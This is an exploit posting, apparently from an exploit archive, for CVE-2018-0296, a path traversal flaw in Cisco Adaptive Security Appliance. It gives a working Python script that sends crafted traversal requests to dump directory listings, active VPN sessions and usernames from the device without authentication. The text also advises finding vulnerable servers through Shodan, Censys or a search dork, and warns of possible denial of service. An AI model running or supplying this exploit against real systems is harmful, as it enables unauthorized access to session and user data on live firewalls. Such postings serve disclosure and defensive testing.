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Cisco Adaptive Security Appliance Path Traversal

Cisco Adaptive Security Appliance Path Traversal
Posted Jun 28, 2018
Authored by Yassin Aboukir

Cisco Adaptive Security Appliance suffers from a path traversal vulnerability.

tags | exploit, file inclusion
systems | cisco
advisories | CVE-2018-0296
SHA-256 | d1b313011029126cb865a0362620a79446da5eb04f5aec729d6ccf3667869fe9

Cisco Adaptive Security Appliance Path Traversal

Change Mirror Download
'''
Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)
A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.

Vulnerable Products
This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products:

3000 Series Industrial Security Appliance (ISA)
ASA 1000V Cloud Firewall
ASA 5500 Series Adaptive Security Appliances
ASA 5500-X Series Next-Generation Firewalls
ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
Adaptive Security Virtual Appliance (ASAv)
Firepower 2100 Series Security Appliance
Firepower 4100 Series Security Appliance
Firepower 9300 ASA Security Module
FTD Virtual (FTDv)
Script usage
Installation: git clone https://github.com/yassineaboukir/CVE-2018-0296.git
Usage: python cisco_asa.py <URL>
If the web server is vulnerable, the script will dump in a text file both the content of the current directory, files in +CSCOE+ and active sessions.

Disclaimer: please note that due to the nature of the vulnerability disclosed to Cisco, this exploit could result in a DoS so test at your own risk.

Bug Bounty Recon
You can use Shodan, Censys or any other OSINT tools to enumerate vulnerable servers or simply google dork /+CSCOE+/logon.html. Figure it out :)

References:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd
'''

#!/usr/bin/env python

import requests
import sys
import urlparse
import os
import re

print("""
_____ _____ _____ _____ _____ ___ _____ ___
/ __ \_ _/ ___/ __ \ _ | / _ \ / ___|/ _ \
| / \/ | | \ `--.| / \/ | | | / /_\ \\ `--./ /_\ \
| | | | `--. \ | | | | | | _ | `--. \ _ |
| \__/\_| |_/\__/ / \__/\ \_/ / | | | |/\__/ / | | |
\____/\___/\____/ \____/\___/ \_| |_/\____/\_| |_/

______ _ _ _____ _
| ___ \ | | | | |_ _| | |
| |_/ /_ _| |_| |__ | |_ __ __ ___ _____ _ __ ___ __ _| |
| __/ _` | __| '_ \ | | '__/ _` \ \ / / _ \ '__/ __|/ _` | |
| | | (_| | |_| | | | | | | | (_| |\ V / __/ | \__ \ (_| | |
\_| \__,_|\__|_| |_| \_/_| \__,_| \_/ \___|_| |___/\__,_|_|

CVE-2018-0296
Script author: Yassine Aboukir(@yassineaboukir)
""")

requests.packages.urllib3.disable_warnings()

url = sys.argv[1]

regexSess = r"([0-9])\w+'"
regexUser = r"(user:)\w+"

dir_path = os.path.dirname(os.path.realpath(__file__))
filelist_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/"
CSCOE_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b"
active_sessions = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"
logon = "/+CSCOE+/logon.html"

try:
is_cisco_asa = requests.get(urlparse.urljoin(url,logon), verify=False, allow_redirects=False)
except requests.exceptions.RequestException as e:
print(e)
sys.exit(1)

if "webvpnLang" in is_cisco_asa.cookies:
try:
filelist_r = requests.get(urlparse.urljoin(url,filelist_dir), verify=False)
CSCOE_r = requests.get(urlparse.urljoin(url,CSCOE_dir), verify=False)
active_sessions_r = requests.get(urlparse.urljoin(url,active_sessions), verify=False)

except requests.exceptions.RequestException as e:
print(e)
sys.exit(1)

if str(filelist_r.status_code) == "200":
with open(urlparse.urlparse(url).hostname+".txt", "w") as cisco_dump:
cisco_dump.write("======= Directory Index =========\n {}\n ======== +CSCEO+ Directory ========\n {}\n ======= Active sessions =========\n {}\n ======= Active Users =========\n".format(filelist_r.text, CSCOE_r.text, active_sessions_r.text))

''' Extraccion de usuarios'''
matches_sess = re.finditer(regexSess, active_sessions_r.text)
for match_sess in matches_sess:
active_users_r = requests.get(urlparse.urljoin(url,"/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"+str(match_sess.group().strip("'"))), verify=False)
matches_user = re.finditer(regexUser, active_users_r.text)

for match_user in matches_user:
cisco_dump.write(match_user.group()+"\n")
''' Fin Extraccion de usuarios'''

print("Vulnerable! Check the text dump saved in {}".format(dir_path))
else: print("Not vulnerable!")

else:
print("This is not Cisco ASA! e.g: https://vpn.example.com/+CSCOE+/logon.html\n")
sys.exit(1)

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